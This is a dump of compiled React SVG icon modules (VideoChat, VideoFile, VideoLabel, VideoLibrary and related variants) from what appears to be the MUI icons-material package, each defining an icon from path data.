    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 14h6c.55 0 1-.45 1-1v-1.99L17 13V7l-2 1.99V7c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1\"\n}, \"1\")], 'VideoChatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoChatRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 19.58c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3.85 10.15L15 11.01V13c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v1.99l1.15-1.14c.31-.32.85-.09.85.35v3.59c0 .45-.54.68-.85.36\"\n}), 'VideoChatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoChatRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 19.58c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3.85 10.15L15 11.01V13c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v1.99l1.15-1.14c.31-.32.85-.09.85.35v3.59c0 .45-.54.68-.85.36\"\n}), 'VideoChatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoChatSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 2v20l4-4h16V2zm15 11-2-1.99V14H7V6h8v2.99L17 7z\"\n}), 'VideoChatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoChatSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 2v20l4-4h16V2zm15 11-2-1.99V14H7V6h8v2.99L17 7z\"\n}), 'VideoChatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoChatTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zM7 7c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v1.99L17 7v6l-2-1.99V13c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 14h6c.55 0 1-.45 1-1v-1.99L17 13V7l-2 1.99V7c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1\"\n}, \"2\")], 'VideoChatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoChatTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zM7 7c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v1.99L17 7v6l-2-1.99V13c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 14h6c.55 0 1-.45 1-1v-1.99L17 13V7l-2 1.99V7c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1\"\n}, \"2\")], 'VideoChatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoFile.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6.01c-1.1 0-2 .89-2 2L4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm-1 7V3.5L18.5 9zm1 5 2-1.06v4.12L14 16v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1z\"\n}), 'VideoFile');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoFile.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6.01c-1.1 0-2 .89-2 2L4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm-1 7V3.5L18.5 9zm1 5 2-1.06v4.12L14 16v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1z\"\n}), 'VideoFile');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoFileOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zM6 20V4h7v5h5v11zm8-6 2-1.06v4.12L14 16v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1z\"\n}), 'VideoFileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoFileOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zM6 20V4h7v5h5v11zm8-6 2-1.06v4.12L14 16v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1z\"\n}), 'VideoFileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoFileRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.17 2H6.01c-1.1 0-2 .89-2 2L4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M13 8V3.5L18.5 9H14c-.55 0-1-.45-1-1m1 6 1.27-.67c.33-.18.73.06.73.44v2.46c0 .38-.4.62-.73.44L14 16v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1z\"\n}), 'VideoFileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoFileRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.17 2H6.01c-1.1 0-2 .89-2 2L4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M13 8V3.5L18.5 9H14c-.55 0-1-.45-1-1m1 6 1.27-.67c.33-.18.73.06.73.44v2.46c0 .38-.4.62-.73.44L14 16v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1z\"\n}), 'VideoFileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoFileSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4v20h16V8zm-1 7V3.5L18.5 9zm1 5 2-1.06v4.12L14 16v2H8v-6h6z\"\n}), 'VideoFileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoFileSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4v20h16V8zm-1 7V3.5L18.5 9zm1 5 2-1.06v4.12L14 16v2H8v-6h6z\"\n}), 'VideoFileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoFileTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 9V4H6v16h12V9zm3 8.06L14 16v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v1l2-1.06z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zM6 20V4h7v5h5v11zm8-6 2-1.06v4.12L14 16v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1z\"\n}, \"1\")], 'VideoFileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoFileTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 9V4H6v16h12V9zm3 8.06L14 16v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v1l2-1.06z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zM6 20V4h7v5h5v11zm8-6 2-1.06v4.12L14 16v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1z\"\n}, \"1\")], 'VideoFileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLabel.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H3V5h18z\"\n}), 'VideoLabel');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLabel.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H3V5h18z\"\n}), 'VideoLabel');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLabelOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H3V5h18z\"\n}), 'VideoLabelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLabelOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H3V5h18z\"\n}), 'VideoLabelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLabelRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H3V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1z\"\n}), 'VideoLabelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLabelRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H3V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1z\"\n}), 'VideoLabelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLabelSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v18h22zm-2 13H3V5h18z\"\n}), 'VideoLabelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLabelSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v18h22zm-2 13H3V5h18z\"\n}), 'VideoLabelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLabelTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5h18v11H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H3V5h18z\"\n}, \"1\")], 'VideoLabelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLabelTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5h18v11H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H3V5h18z\"\n}, \"1\")], 'VideoLabelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLibrary.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 12.5v-9l6 4.5z\"\n}), 'VideoLibrary');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLibrary.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 12.5v-9l6 4.5z\"\n}), 'VideoLibrary');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLibraryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zM12 5.5v9l6-4.5z\"\n}), 'VideoLibraryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLibraryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zM12 5.5v9l6-4.5z\"\n}), 'VideoLibraryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLibraryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1m17-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 12.5v-9l5.47 4.1c.27.2.27.6 0 .8z\"\n}), 'VideoLibraryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLibraryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1m17-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 12.5v-9l5.47 4.1c.27.2.27.6 0 .8z\"\n}), 'VideoLibraryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLibrarySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm18-4H6v16h16zM12 14.5v-9l6 4.5z\"\n}), 'VideoLibrarySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLibrarySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm18-4H6v16h16zM12 14.5v-9l6 4.5z\"\n}), 'VideoLibrarySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLibraryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 16h12V4H8zm4-10.5 6 4.5-6 4.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zM12 5.5v9l6-4.5z\"\n}, \"1\")], 'VideoLibraryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoLibraryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 16h12V4H8zm4-10.5 6 4.5-6 4.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zM12 5.5v9l6-4.5z\"\n}, \"1\")], 'VideoLibraryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoSettings.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6h18v5h2V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9v-2H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 12 9 8v8zm7.71 6.43c.03-.29.04-.58.01-.86l1.07-.85c.1-.08.12-.21.06-.32l-1.03-1.79c-.06-.11-.19-.15-.31-.11l-1.28.5q-.345-.255-.75-.42l-.2-1.36c-.02-.13-.12-.22-.25-.22h-2.07c-.12 0-.23.09-.25.21l-.2 1.36c-.26.11-.51.26-.74.42l-1.28-.5c-.12-.05-.25 